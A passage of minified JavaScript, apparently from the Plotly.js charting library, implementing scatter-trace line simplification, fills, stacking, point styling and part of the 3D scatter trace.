a=(S.marker||{}).color;if(r("line.color",g),P(S,"line"))o(S,d,t,r,{prefix:"line.",cLetter:"c"});else{var l=(M(a)?!1:a)||g;r("line.color",l)}r("line.width"),f.noDash||r("line.dash"),f.backoff&&r("line.backoff")}},34621:function(te,Z,e){var M=e(91424),P=e(50606),o=P.BADNUM,L=P.LOG_CLIP,S=L+.5,d=L-.5,g=e(71828),t=g.segmentsIntersect,r=g.constrain,f=e(47581);te.exports=function(l,u){var s=u.trace||{},y=u.xaxis,c=u.yaxis,b=y.type==="log",h=c.type==="log",i=y._length,v=c._length,T=u.backoff,w=s.marker,E=u.connectGaps,p=u.baseTolerance,A=u.shape,m=A==="linear",n=s.fill&&s.fill!=="none",C=[],x=f.minTolerance,I=l.length,k=new Array(I),B=0,_,F,O,z,N,G,J,q,ne,fe,X,W,V,Y,Q,ie;function j(pt){var St=l[pt];if(!St)return!1;var _t=u.linearized?y.l2p(St.x):y.c2p(St.x),Ft=u.linearized?c.l2p(St.y):c.c2p(St.y);if(_t===o){if(b&&(_t=y.c2p(St.x,!0)),_t===o)return!1;h&&Ft===o&&(_t*=Math.abs(y._m*v*(y._m>0?S:d)/(c._m*i*(c._m>0?S:d)))),_t*=1e3}if(Ft===o){if(h&&(Ft=c.c2p(St.y,!0)),Ft===o)return!1;Ft*=1e3}return[_t,Ft]}function K(pt,St,_t,Ft){var Tt=_t-pt,Gt=Ft-St,er=.5-pt,Pr=.5-St,ct=Tt*Tt+Gt*Gt,Vt=Tt*er+Gt*Pr;if(Vt>0&&Vt<ct){var Ut=er*Gt-Pr*Tt;if(Ut*Ut<ct)return!0}}var oe,re;function le(pt,St){var _t=pt[0]/i,Ft=pt[1]/v,Tt=Math.max(0,-_t,_t-1,-Ft,Ft-1);return Tt&&oe!==void 0&&K(_t,Ft,oe,re)&&(Tt=0),Tt&&St&&K(_t,Ft,St[0]/i,St[1]/v)&&(Tt=0),(1+f.toleranceGrowth*Tt)*p}function pe(pt,St){var _t=pt[0]-St[0],Ft=pt[1]-St[1];return Math.sqrt(_t*_t+Ft*Ft)}var we=f.maxScreensAway,xe=-i*we,ke=i*(1+we),_e=-v*we,be=v*(1+we),ge=[[xe,_e,ke,_e],[ke,_e,ke,be],[ke,be,xe,be],[xe,be,xe,_e]],Te,Fe,Oe,Ce,Be,$e;function Xe(pt,St){for(var _t=[],Ft=0,Tt=0;Tt<4;Tt++){var Gt=ge[Tt],er=t(pt[0],pt[1],St[0],St[1],Gt[0],Gt[1],Gt[2],Gt[3]);er&&(!Ft||Math.abs(er.x-_t[0][0])>1||Math.abs(er.y-_t[0][1])>1)&&(er=[er.x,er.y],Ft&&pe(er,pt)<pe(_t[0],pt)?_t.unshift(er):_t.push(er),Ft++)}return _t}function Ze(pt){if(pt[0]<xe||pt[0]>ke||pt[1]<_e||pt[1]>be)return[r(pt[0],xe,ke),r(pt[1],_e,be)]}function Ke(pt,St){if(pt[0]===St[0]&&(pt[0]===xe||pt[0]===ke)||pt[1]===St[1]&&(pt[1]===_e||pt[1]===be))return!0}function st(pt,St){var _t=[],Ft=Ze(pt),Tt=Ze(St);return Ft&&Tt&&Ke(Ft,Tt)||(Ft&&_t.push(Ft),Tt&&_t.push(Tt)),_t}function lt(pt,St,_t){return function(Ft,Tt){var Gt=Ze(Ft),er=Ze(Tt),Pr=[];if(Gt&&er&&Ke(Gt,er))return Pr;Gt&&Pr.push(Gt),er&&Pr.push(er);var ct=2*g.constrain((Ft[pt]+Tt[pt])/2,St,_t)-((Gt||Ft)[pt]+(er||Tt)[pt]);if(ct){var Vt;Gt&&er?Vt=ct>0==Gt[pt]>er[pt]?Gt:er:Vt=Gt||er,Vt[pt]+=ct}return Pr}}var ut;A==="linear"||A==="spline"?ut=Xe:A==="hv"||A==="vh"?ut=st:A==="hvh"?ut=lt(0,xe,ke):A==="vhv"&&(ut=lt(1,_e,be));function yt(pt,St){var _t=St[0]-pt[0],Ft=(St[1]-pt[1])/_t,Tt=(pt[1]*St[0]-St[1]*pt[0])/_t;return Tt>0?[Ft>0?xe:ke,be]:[Ft>0?ke:xe,_e]}function bt(pt){var St=pt[0],_t=pt[1],Ft=St===k[B-1][0],Tt=_t===k[B-1][1];if(!(Ft&&Tt))if(B>1){var Gt=St===k[B-2][0],er=_t===k[B-2][1];Ft&&(St===xe||St===ke)&&Gt?er?B--:k[B-1]=pt:Tt&&(_t===_e||_t===be)&&er?Gt?B--:k[B-1]=pt:k[B++]=pt}else k[B++]=pt}function Ot(pt){k[B-1][0]!==pt[0]&&k[B-1][1]!==pt[1]&&bt([Oe,Ce]),bt(pt),Be=null,Oe=Ce=0}var Ge=g.isArrayOrTypedArray(w);function Le(pt){if(pt&&T&&(pt.i=_,pt.d=l,pt.trace=s,pt.marker=Ge?w[pt.i]:w,pt.backoff=T),oe=pt[0]/i,re=pt[1]/v,Te=pt[0]<xe?xe:pt[0]>ke?ke:0,Fe=pt[1]<_e?_e:pt[1]>be?be:0,Te||Fe){if(!B)k[B++]=[Te||pt[0],Fe||pt[1]];else if(Be){var St=ut(Be,pt);St.length>1&&(Ot(St[0]),k[B++]=St[1])}else $e=ut(k[B-1],pt)[0],k[B++]=$e;var _t=k[B-1];Te&&Fe&&(_t[0]!==Te||_t[1]!==Fe)?(Be&&(Oe!==Te&&Ce!==Fe?bt(Oe&&Ce?yt(Be,pt):[Oe||Te,Ce||Fe]):Oe&&Ce&&bt([Oe,Ce])),bt([Te,Fe])):Oe-Te&&Ce-Fe&&bt([Te||Oe,Fe||Ce]),Be=pt,Oe=Te,Ce=Fe}else Be&&Ot(ut(Be,pt)[0]),k[B++]=pt}for(_=0;_<I;_++)if(F=j(_),!!F){for(B=0,Be=null,Le(F),_++;_<I;_++){if(z=j(_),!z){if(E)continue;break}if(!m||!u.simplify){Le(z);continue}var Pe=j(_+1);if(fe=pe(z,F),!(!(n&&(B===0||B===I-1))&&fe<le(z,Pe)*x)){for(q=[(z[0]-F[0])/fe,(z[1]-F[1])/fe],N=F,X=fe,W=Y=Q=0,J=!1,O=z,_++;_<l.length;_++){if(G=Pe,Pe=j(_+1),!G){if(E)continue;break}if(ne=[G[0]-F[0],G[1]-F[1]],ie=ne[0]*q[1]-ne[1]*q[0],Y=Math.min(Y,ie),Q=Math.max(Q,ie),Q-Y>le(G,Pe))break;O=G,V=ne[0]*q[0]+ne[1]*q[1],V>X?(X=V,z=G,J=!1):V<W&&(W=V,N=G,J=!0)}if(J?(Le(z),O!==N&&Le(N)):(N!==F&&Le(N),O!==z&&Le(z)),Le(O),_>=l.length||!G)break;Le(G),F=G}}Be&&bt([Oe||Be[0],Ce||Be[1]]),C.push(k.slice(0,B))}var De=A.slice(A.length-1);if(T&&De!=="h"&&De!=="v"){for(var Ee=!1,ye=-1,ae=[],de=0;de<C.length;de++)for(var Me=0;Me<C[de].length-1;Me++){var Ie=C[de][Me],Qe=C[de][Me+1],et=M.applyBackoff(Qe,Ie);(et[0]!==Qe[0]||et[1]!==Qe[1])&&(Ee=!0),ae[ye+1]||(ye++,ae[ye]=[Ie,[et[0],et[1]]])}return Ee?ae:C}return C}},94039:function(te){te.exports=function(e,M,P){var o=P("line.shape");o==="spline"&&P("line.smoothing")}},68687:function(te){var Z={tonextx:1,tonexty:1,tonext:1};te.exports=function(M,P,o){var L,S,d,g,t,r={},f=!1,a=-1,l=0,u=-1;for(S=0;S<o.length;S++)L=o[S][0].trace,d=L.stackgroup||"",d?d in r?t=r[d]:(t=r[d]=l,l++):L.fill in Z&&u>=0?t=u:(t=u=l,l++),t<a&&(f=!0),L._groupIndex=a=t;var s=o.slice();f&&s.sort(function(c,b){var h=c[0].trace,i=b[0].trace;return h._groupIndex-i._groupIndex||h.index-i.index});var y={};for(S=0;S<s.length;S++)L=s[S][0].trace,d=L.stackgroup||"",L.visible===!0?(L._nexttrace=null,L.fill in Z&&(g=y[d],L._prevtrace=g||null,g&&(g._nexttrace=L)),L._ownfill=L.fill&&(L.fill.substr(0,6)==="tozero"||L.fill==="toself"||L.fill.substr(0,2)==="to"&&!L._prevtrace),y[d]=L):L._prevtrace=L._nexttrace=L._ownfill=null;return s}},39984:function(te,Z,e){var M=e(92770);te.exports=function(o,L){L||(L=2);var S=o.marker,d=S.sizeref||1,g=S.sizemin||0,t=S.sizemode==="area"?function(r){return Math.sqrt(r/d)}:function(r){return r/d};return function(r){var f=t(r/L);return M(f)&&f>0?Math.max(f,g):0}}},4898:function(te){te.exports={container:"marker",min:"cmin",max:"cmax"}},49508:function(te,Z,e){var M=e(7901),P=e(52075).hasColorscale,o=e(1586),L=e(34098);te.exports=function(d,g,t,r,f,a){var l=L.isBubble(d),u=(d.line||{}).color,s;if(a=a||{},u&&(t=u),f("marker.symbol"),f("marker.opacity",l?.7:1),f("marker.size"),a.noAngle||(f("marker.angle"),a.noAngleRef||f("marker.angleref"),a.noStandOff||f("marker.standoff")),f("marker.color",t),P(d,"marker")&&o(d,g,r,f,{prefix:"marker.",cLetter:"c"}),a.noSelect||(f("selected.marker.color"),f("unselected.marker.color"),f("selected.marker.size"),f("unselected.marker.size")),a.noLine||(u&&!Array.isArray(u)&&g.marker.color!==u?s=u:l?s=M.background:s=M.defaultLine,f("marker.line.color",s),P(d,"marker.line")&&o(d,g,r,f,{prefix:"marker.line.",cLetter:"c"}),f("marker.line.width",l?1:0)),l&&(f("marker.sizeref"),f("marker.sizemin"),f("marker.sizemode")),a.gradient){var y=f("marker.gradient.type");y!=="none"&&f("marker.gradient.color")}}},73927:function(te,Z,e){var M=e(71828).dateTick0,P=e(50606),o=P.ONEWEEK;function L(S,d){return S%o===0?M(d,1):M(d,0)}te.exports=function(d,g,t,r,f){if(f||(f={x:!0,y:!0}),f.x){var a=r("xperiod");a&&(r("xperiod0",L(a,g.xcalendar)),r("xperiodalignment"))}if(f.y){var l=r("yperiod");l&&(r("yperiod0",L(l,g.ycalendar)),r("yperiodalignment"))}}},32663:function(te,Z,e){var M=e(39898),P=e(73972),o=e(71828),L=o.ensureSingle,S=o.identity,d=e(91424),g=e(34098),t=e(34621),r=e(68687),f=e(61082).tester;te.exports=function(y,c,b,h,i,v){var T,w,E=!i,p=!!i&&i.duration>0,A=r(y,c,b);if(T=h.selectAll("g.trace").data(A,function(n){return n[0].trace.uid}),T.enter().append("g").attr("class",function(n){return"trace scatter trace"+n[0].trace.uid}).style("stroke-miterlimit",2),T.order(),a(y,T,c),p){v&&(w=v());var m=M.transition().duration(i.duration).ease(i.easing).each("end",function(){w&&w()}).each("interrupt",function(){w&&w()});m.each(function(){h.selectAll("g.trace").each(function(n,C){l(y,C,c,n,A,this,i)})})}else T.each(function(n,C){l(y,C,c,n,A,this,i)});E&&T.exit().remove(),h.selectAll("path:not([d])").remove()};function a(s,y,c){y.each(function(b){var h=L(M.select(this),"g","fills");d.setClipUrl(h,c.layerClipId,s);var i=b[0].trace,v=[];i._ownfill&&v.push("_ownFill"),i._nexttrace&&v.push("_nextFill");var T=h.selectAll("g").data(v,S);T.enter().append("g"),T.exit().each(function(w){i[w]=null}).remove(),T.order().each(function(w){i[w]=L(M.select(this),"path","js-fill")})})}function l(s,y,c,b,h,i,v){var T=s._context.staticPlot,w;u(s,y,c,b,h);var E=!!v&&v.duration>0;function p(Ce){return E?Ce.transition():Ce}var A=c.xaxis,m=c.yaxis,n=b[0].trace,C=n.line,x=M.select(i),I=L(x,"g","errorbars"),k=L(x,"g","lines"),B=L(x,"g","points"),_=L(x,"g","text");if(P.getComponentMethod("errorbars","plot")(s,I,c,v),n.visible!==!0)return;p(x).style("opacity",n.opacity);var F,O,z=n.fill.charAt(n.fill.length-1);z!=="x"&&z!=="y"&&(z=""),b[0][c.isRangePlot?"nodeRangePlot3":"node3"]=x;var N="",G=[],J=n._prevtrace;J&&(N=J._prevRevpath||"",O=J._nextFill,G=J._polygons);var q,ne,fe="",X="",W,V,Y,Q,ie,j,K,oe=[],re=o.noop;if(F=n._ownFill,g.hasLines(n)||n.fill!=="none"){for(O&&O.datum(b),["hv","vh","hvh","vhv"].indexOf(C.shape)!==-1?(W=d.steps(C.shape),V=d.steps(C.shape.split("").reverse().join(""))):C.shape==="spline"?W=V=function(Ce){var Be=Ce[Ce.length-1];return Ce.length>1&&Ce[0][0]===Be[0]&&Ce[0][1]===Be[1]?d.smoothclosed(Ce.slice(1),C.smoothing):d.smoothopen(Ce,C.smoothing)}:W=V=function(Ce){return"M"+Ce.join("L")},Y=function(Ce){return V(Ce.reverse())},oe=t(b,{xaxis:A,yaxis:m,trace:n,connectGaps:n.connectgaps,baseTolerance:Math.max(C.width||1,3)/4,shape:C.shape,backoff:C.backoff,simplify:C.simplify,fill:n.fill}),K=n._polygons=new Array(oe.length),w=0;w<oe.length;w++)n._polygons[w]=f(oe[w]);oe.length&&(Q=oe[0][0],ie=oe[oe.length-1],j=ie[ie.length-1]),re=function(Ce){return function(Be){if(q=W(Be),ne=Y(Be),fe?z?(fe+="L"+q.substr(1),X=ne+("L"+X.substr(1))):(fe+="Z"+q,X=ne+"Z"+X):(fe=q,X=ne),g.hasLines(n)){var $e=M.select(this);if($e.datum(b),Ce)p($e.style("opacity",0).attr("d",q).call(d.lineGroupStyle)).style("opacity",1);else{var Xe=p($e);Xe.attr("d",q),d.singleLineStyle(b,Xe)}}}}}var le=k.selectAll(".js-line").data(oe);p(le.exit()).style("opacity",0).remove(),le.each(re(!1)),le.enter().append("path").classed("js-line",!0).style("vector-effect",T?"none":"non-scaling-stroke").call(d.lineGroupStyle).each(re(!0)),d.setClipUrl(le,c.layerClipId,s);function pe(Ce){p(Ce).attr("d","M0,0Z")}oe.length?(F?(F.datum(b),Q&&j&&(z?(z==="y"?Q[1]=j[1]=m.c2p(0,!0):z==="x"&&(Q[0]=j[0]=A.c2p(0,!0)),p(F).attr("d","M"+j+"L"+Q+"L"+fe.substr(1)).call(d.singleFillStyle,s)):p(F).attr("d",fe+"Z").call(d.singleFillStyle,s))):O&&(n.fill.substr(0,6)==="tonext"&&fe&&N?(n.fill==="tonext"?p(O).attr("d",fe+"Z"+N+"Z").call(d.singleFillStyle,s):p(O).attr("d",fe+"L"+N.substr(1)+"Z").call(d.singleFillStyle,s),n._polygons=n._polygons.concat(G)):(pe(O),n._polygons=null)),n._prevRevpath=X,n._prevPolygons=K):(F?pe(F):O&&pe(O),n._polygons=n._prevRevpath=n._prevPolygons=null);function we(Ce){return Ce.filter(function(Be){return!Be.gap&&Be.vis})}function xe(Ce){return Ce.filter(function(Be){return Be.vis})}function ke(Ce){return Ce.filter(function(Be){return!Be.gap})}function _e(Ce){return Ce.id}function be(Ce){if(Ce.ids)return _e}function ge(){return!1}function Te(Ce,Be,$e){var Xe,Ze,Ke,st=$e[0].trace,lt=g.hasMarkers(st),ut=g.hasText(st),yt=be(st),bt=ge,Ot=ge;if(lt||ut){var Ge=S,Le=st.stackgroup,Pe=Le&&s._fullLayout._scatterStackOpts[A._id+m._id][Le].stackgaps==="infer zero";st.marker.maxdisplayed||st._needsCull?Ge=Pe?xe:we:Le&&!Pe&&(Ge=ke),lt&&(bt=Ge),ut&&(Ot=Ge)}Ze=Ce.selectAll("path.point"),Xe=Ze.data(bt,yt);var De=Xe.enter().append("path").classed("point",!0);E&&De.call(d.pointStyle,st,s).call(d.translatePoints,A,m).style("opacity",0).transition().style("opacity",1),Xe.order();var Ee;lt&&(Ee=d.makePointStyleFns(st)),Xe.each(function(ye){var ae=M.select(this),de=p(ae);Ke=d.translatePoint(ye,de,A,m),Ke?(d.singlePointStyle(ye,de,st,Ee,s),c.layerClipId&&d.hideOutsideRangePoint(ye,de,A,m,st.xcalendar,st.ycalendar),st.customdata&&ae.classed("plotly-customdata",ye.data!==null&&ye.data!==void 0)):de.remove()}),E?Xe.exit().transition().style("opacity",0).remove():Xe.exit().remove(),Ze=Be.selectAll("g"),Xe=Ze.data(Ot,yt),Xe.enter().append("g").classed("textpoint",!0).append("text"),Xe.order(),Xe.each(function(ye){var ae=M.select(this),de=p(ae.select("text"));Ke=d.translatePoint(ye,de,A,m),Ke?c.layerClipId&&d.hideOutsideRangePoint(ye,ae,A,m,st.xcalendar,st.ycalendar):ae.remove()}),Xe.selectAll("text").call(d.textPointStyle,st,s).each(function(ye){var ae=A.c2p(ye.x),de=m.c2p(ye.y);M.select(this).selectAll("tspan.line").each(function(){p(M.select(this)).attr({x:ae,y:de})})}),Xe.exit().remove()}B.datum(b),_.datum(b),Te(B,_,b);var Fe=n.cliponaxis===!1,Oe=Fe?null:c.layerClipId;d.setClipUrl(B,Oe,s),d.setClipUrl(_,Oe,s)}function u(s,y,c,b,h){var i=c.xaxis,v=c.yaxis,T=M.extent(o.simpleMap(i.range,i.r2c)),w=M.extent(o.simpleMap(v.range,v.r2c)),E=b[0].trace;if(g.hasMarkers(E)){var p=E.marker.maxdisplayed;if(p!==0){var A=b.filter(function(x){return x.x>=T[0]&&x.x<=T[1]&&x.y>=w[0]&&x.y<=w[1]}),m=Math.ceil(A.length/p),n=0;h.forEach(function(x,I){var k=x[0].trace;g.hasMarkers(k)&&k.marker.maxdisplayed>0&&I<y&&n++});var C=Math.round(n*m/3+Math.floor(n/3)*m/7.1);b.forEach(function(x){delete x.vis}),A.forEach(function(x,I){Math.round((I+C)%m)===0&&(x.vis=!0)})}}}},98002:function(te,Z,e){var M=e(34098);te.exports=function(o,L){var S=o.cd,d=o.xaxis,g=o.yaxis,t=[],r=S[0].trace,f,a,l,u,s=!M.hasMarkers(r)&&!M.hasText(r);if(s)return[];if(L===!1)for(f=0;f<S.length;f++)S[f].selected=0;else for(f=0;f<S.length;f++)a=S[f],l=d.c2p(a.x),u=g.c2p(a.y),a.i!==null&&L.contains([l,u],!1,f,o)?(t.push({pointNumber:a.i,x:d.c2d(a.x),y:g.c2d(a.y)}),a.selected=1):a.selected=0;return t}},565:function(te){var Z=["orientation","groupnorm","stackgaps"];te.exports=function(M,P,o,L){var S=o._scatterStackOpts,d=L("stackgroup");if(d){var g=P.xaxis+P.yaxis,t=S[g];t||(t=S[g]={});var r=t[d],f=!1;r?r.traces.push(P):(r=t[d]={traceIndices:[],traces:[P]},f=!0);for(var a={orientation:P.x&&!P.y?"h":"v"},l=0;l<Z.length;l++){var u=Z[l],s=u+"Found";if(!r[s]){var y=M[u]!==void 0,c=u==="orientation";if((y||f)&&(r[u]=L(u,a[u]),c&&(r.fillDflt=r[u]==="h"?"tonextx":"tonexty"),y&&(r[s]=!0,!f&&(delete r.traces[0][u],c))))for(var b=0;b<r.traces.length-1;b++){var h=r.traces[b];h._input.fill!==h.fill&&(h.fill=r.fillDflt)}}}return r}}},16296:function(te,Z,e){var M=e(39898),P=e(91424),o=e(73972);function L(t){var r=M.select(t).selectAll("g.trace.scatter");r.style("opacity",function(f){return f[0].trace.opacity}),r.selectAll("g.points").each(function(f){var a=M.select(this),l=f.trace||f[0].trace;S(a,l,t)}),r.selectAll("g.text").each(function(f){var a=M.select(this),l=f.trace||f[0].trace;d(a,l,t)}),r.selectAll("g.trace path.js-line").call(P.lineGroupStyle),r.selectAll("g.trace path.js-fill").call(P.fillGroupStyle,t),o.getComponentMethod("errorbars","style")(r)}function S(t,r,f){P.pointStyle(t.selectAll("path.point"),r,f)}function d(t,r,f){P.textPointStyle(t.selectAll("text"),r,f)}function g(t,r,f){var a=r[0].trace;a.selectedpoints?(P.selectedPointStyle(f.selectAll("path.point"),a),P.selectedTextStyle(f.selectAll("text"),a)):(S(f,a,t),d(f,a,t))}te.exports={style:L,stylePoints:S,styleText:d,styleOnSelect:g}},34098:function(te,Z,e){var M=e(71828);te.exports={hasLines:function(P){return P.visible&&P.mode&&P.mode.indexOf("lines")!==-1},hasMarkers:function(P){return P.visible&&(P.mode&&P.mode.indexOf("markers")!==-1||P.type==="splom")},hasText:function(P){return P.visible&&P.mode&&P.mode.indexOf("text")!==-1},isBubble:function(P){return M.isPlainObject(P.marker)&&M.isArrayOrTypedArray(P.marker.size)}}},82410:function(te,Z,e){var M=e(71828);te.exports=function(P,o,L,S,d){d=d||{},S("textposition"),M.coerceFont(S,"textfont",d.font||L.font),d.noSelect||(S("selected.textfont.color"),S("unselected.textfont.color"))}},67513:function(te,Z,e){var M=e(71828),P=e(73972);te.exports=function(L,S,d,g){var t=g("x"),r=g("y"),f,a=P.getComponentMethod("calendars","handleTraceDefaults");if(a(L,S,["x","y"],d),t){var l=M.minRowLength(t);r?f=Math.min(l,M.minRowLength(r)):(f=l,g("y0"),g("dy"))}else{if(!r)return 0;f=M.minRowLength(r),g("x0"),g("dx")}return S._length=f,f}},44542:function(te,Z,e){var M=e(82196),P=e(50693),o=e(12663).axisHoverFormat,L=e(5386).fF,S=e(5386).si,d=e(9012),g=e(29659),t=e(87381),r=e(1426).extendFlat,f=e(30962).overrideAll,a=e(78607),l=M.line,u=M.marker,s=u.line,y=r({width:l.width,dash:{valType:"enumerated",values:a(g),dflt:"solid"}},P("line"));function c(h){return{show:{valType:"boolean",dflt:!1},opacity:{valType:"number",min:0,max:1,dflt:1},scale:{valType:"number",min:0,max:10,dflt:.6666666666666666}}}var b=te.exports=f({x:M.x,y:M.y,z:{valType:"data_array"},text:r({},M.text,{}),texttemplate:S({},{}),hovertext:r({},M.hovertext,{}),hovertemplate:L(),xhoverformat:o("x"),yhoverformat:o("y"),zhoverformat:o("z"),mode:r({},M.mode,{dflt:"lines+markers"}),surfaceaxis:{valType:"enumerated",values:[-1,0,1,2],dflt:-1},surfacecolor:{valType:"color"},projection:{x:c(),y:c(),z:c()},connectgaps:M.connectgaps,line:y,marker:r({symbol:{valType:"enumerated",values:a(t),dflt:"circle",arrayOk:!0},size:r({},u.size,{dflt:8}),sizeref:u.sizeref,sizemin:u.sizemin,sizemode:u.sizemode,opacity:r({},u.opacity,{arrayOk:!1}),colorbar:u.colorbar,line:r({width:r({},s.width,{arrayOk:!1})},P("marker.line"))},P("marker")),textposition:r({},M.textposition,{dflt:"top center"}),textfont:{color:M.textfont.color,size:M.textfont.size,family:r({},M.textfont.family,{arrayOk:!1})},opacity:d.opacity,hoverinfo:r({},d.hoverinfo)},"calc","nested");b.x.editType=b.y.editType=b.z.editType="calc+clearAxisTypes"},36563:function(te,Z,e){var M=e(75225),P=e(36922);te.exports=function(L,S){var d=[{x:!1,y:!1,trace:S,t:{}}];return M(d,S),P(L,S),d}},67336:function(te,Z,e){var M=e(73972);function P(S,d,g,t){if(!d||!d.visible)return null;for(var r=M.getComponentMethod("errorbars","makeComputeError")(d),f=new Array(S.length),a=0;a<S.length;a++){var l=r(+S[a],a);if(t.type==="log"){var u=t.c2l(S[a]),s=S[a]-l[0],y=S[a]+l[1];if(f[a]=[(t.c2l(s,!0)-u)*g,(t.c2l(y,!0)-u)*g],s>0){var c=t.c2l(s);t._lowerLogErrorBound||(t._lowerLogErrorBound=c),t._lowerErrorBound=Math.min(t._lowerLogErrorBound,c)}}else f[a]=[-l[0]*g,l[1]*g]}return f}function o(S){for(var d=0;d<S.length;d++)if(S[d])return S[d].length;return 0}function L(S,d,g){var t=[P(S.x,S.error_x,d[0],g.xaxis),P(S.y,S.error_y,d[1],g.yaxis),P(S.z,S.error_z,d[2],g.zaxis)],r=o(t);if(r===0)return null;for(var f=new Array(r),a=0;a<r;a++){for(var l=[[0,0,0],[0,0,0]],u=0;u<3;u++)if(t[u])for(var s=0;s<2;s++)l[s][u]=t[u][a][s];f[a]=l}return f}te.exports=L},58925:function(te,Z,e){var M=e(9330).gl_line3d,P=e(9330).gl_scatter3d,o=e(9330).gl_error3d,L=e(9330).gl_mesh3d,S=e(9330).delaunay_triangulate,d=e(71828),g=e(78614),t=e(81697).formatColor,r=e(39984),f=e(29659),a=e(87381),l=e(89298),u=e(23469).appendArrayPointValue,s=e(67336);function y(x,I){this.scene=x,this.uid=I,this.linePlot=null,this.scatterPlot=null,this.errorBars=null,this.textMarkers=null,this.delaunayMesh=null,this.color=null,this.mode="",this.dataPoints=[],this.axesBounds=[[-1/0,-1/0,-1/0],[1/0,1/0,1/0]],this.textLabels=null,this.data=null}var c=y.prototype;c.handlePick=function(x){if(x.object&&(x.object===this.linePlot||x.object===this.delaunayMesh||x.object===this.textMarkers||x.object===this.scatterPlot)){var I=x.index=x.data.index;return x.object.highlight&&x.object.highlight(null),this.scatterPlot&&(x.object=this.scatterPlot,this.scatterPlot.highlight(x.data)),x.textLabel="",this.textLabels&&(Array.isArray(this.textLabels)?(this.textLabels[I]||this.textLabels[I]===0)&&(x.textLabel=this.textLabels[I]):x.textLabel=this.textLabels),x.traceCoordinate=[this.data.x[I],this.data.y[I],this.data.z[I]],!0}};function b(x,I,k){var B=(k+1)%3,_=(k+2)%3,F=[],O=[],z;for(z=0;z<x.length;++z){var N=x[z];isNaN(N[B])||!isFinite(N[B])||isNaN(N[_])||!isFinite(N[_])||(F.push([N[B],N[_]]),O.push(z))}var G=S(F);for(z=0;z<G.length;++z)for(var J=G[z],q=0;q<J.length;++q)J[q]=O[J[q]];return{positions:x,cells:G,meshColor:I}}function h(x){for(var I=[0,0,0],k=[[0,0,0],[0,0,0],[0,0,0]],B=[1,1,1],_=0;_<3;_++){var F=x[_];F&&F.copy_zstyle!==!1&&x[2].visible!==!1&&(F=x[2]),!(!F||!F.visible)&&(I[_]=F.width/2,k[_]=g(F.color),B[_]=F.thickness)}return{capSize:I,color:k,lineWidth:B}}function i(x){return x==null?0:x.indexOf("left")>-1?-1:x.indexOf("right")>-1?1:0}function v(x){return x==null?0:x.indexOf("top")>-1?-1:x.indexOf("bottom")>-1?1:0}function T(x){var I=0,k=0,B=[I,k];if(Array.isArray(x))for(var _=0;_<x.length;_++)B[_]=[I,k],x[_]&&(B[_][0]=i(x[_]),B[_][1]=v(x[_]));else B[0]=i(x),B[1]=v(x);return B}function w(x,I){return I(x*4)}function E(x){return a[x]}function p(x,I,k,B,_){var F=null;if(d.isArrayOrTypedArray(x)){F=[];for(var O=0;O<I;O++)x[O]===void 0?F[O]=B:F[O]=k(x[O],_)}else F=k(x,d.identity);return F}function A(x,I){var k=[],B=x.fullSceneLayout,_=x.dataScale,F=B.xaxis,O=B.yaxis,z=B.zaxis,N=I.marker,G=I.line,J=I.x||[],q=I.y||[],ne=I.z||[],fe=J.length,X=I.xcalendar,W=I.ycalendar,V=I.zcalendar,Y,Q,ie,j,K,oe;for(K=0;K<fe;K++)Y=F.d2l(J[K],0,X)*_[0],Q=O.d2l(q[K],0,W)*_[1],ie=z.d2l(ne[K],0,V)*_[2],k[K]=[Y,Q,ie];if(Array.isArray(I.text))oe=I.text;else if(I.text!==void 0)for(oe=new Array(fe),K=0;K<fe;K++)oe[K]=I.text;function re(Xe,Ze){var Ke=B[Xe];return l.tickText(Ke,Ke.d2l(Ze),!0).text}var le=I.texttemplate;if(le){var pe=x.fullLayout,we=pe._d3locale,xe=Array.isArray(le),ke=xe?Math.min(le.length,fe):fe,_e=xe?function(Xe){return le[Xe]}:function(){return le};for(oe=new Array(ke),K=0;K<ke;K++){var be={x:J[K],y:q[K],z:ne[K]},ge={xLabel:re("xaxis",J[K]),yLabel:re("yaxis",q[K]),zLabel:re("zaxis",ne[K])},Te={};u(Te,I,K);var Fe=I._meta||{};oe[K]=d.texttemplateString(_e(K),ge,we,Te,be,Fe)}}if(j={position:k,mode:I.mode,text:oe},"line"in I&&(j.lineColor=t(G,1,fe),j.lineWidth=G.width,j.lineDashes=G.dash),"marker"in I){var Oe=r(I);j.scatterColor=t(N,1,fe),j.scatterSize=p(N.size,fe,w,20,Oe),j.scatterMarker=p(N.symbol,fe,E,"●"),j.scatterLineWidth=N.line.width,j.scatterLineColor=t(N.line,1,fe),j.scatterAngle=0}"textposition"in I&&(j.textOffset=T(I.textposition),j.textColor=t(I.textfont,1,fe),j.textSize=p(I.textfont.size,fe,d.identity,12),j.textFont=I.textfont.family,j.textAngle=0);var Ce=["x","y","z"];for(j.project=[!1,!1,!1],j.projectScale=[1,1,1],j.projectOpacity=[1,1,1],K=0;K<3;++K){var Be=I.projection[Ce[K]];(j.project[K]=Be.show)&&(j.projectOpacity[K]=Be.opacity,j.projectScale[K]=Be.scale)}j.errorBounds=s(I,_,B);var $e=h([I.error_x,I.error_y,I.error_z]);return j.errorColor=$e.color,j.errorLineWidth=$e.lineWidth,j.errorCapSize=$e.capSize,j.delaunayAxis=I.surfaceaxis,j.delaunayColor=g(I.surfacecolor),j}function m(x){if(d.isArrayOrTypedArray(x)){var I=x[0];return d.isArrayOrTypedArray(I)&&(x=I),"rgb("+x.slice(0,3).map(function(k){return Math.round(k*255)})+")"}return null}function n(x){return d.isArrayOrTypedArray(x)?x.length===4&&typeof x[0]=="number"?m(x):x.map(m):null}c.update=function(x){var I=this.scene.glplot.gl,k,B,_,F,O=f.solid;this.data=x;var z=A(this.scene,x);"mode"in z&&(this.mode=z.mode),"lineDashes"in z&&z.lineDashes in f&&(O=f[z.lineDashes]),this.color=n(z.scatterColor)||n(z.lineColor),this.dataPoints=z.position,k={gl:this.scene.glplot.gl,position:z.position,color:z.lineColor,lineWidth:z.lineWidth||1,dashes:O[0],dashScale:O[1],opacity:x.opacity,connectGaps:x.connectgaps},this.mode.indexOf("lines")!==-1?this.linePlot?this.linePlot.update(k):(this.linePlot=M(k),this.linePlot._trace=this,this.scene.glplot.add(this.linePlot)):this.linePlot&&(this.scene.glplot.remove(this.linePlot),this.linePlot.dispose(),this.linePlot=null);var N=x.opacity;if(x.marker&&x.marker.opacity!==void 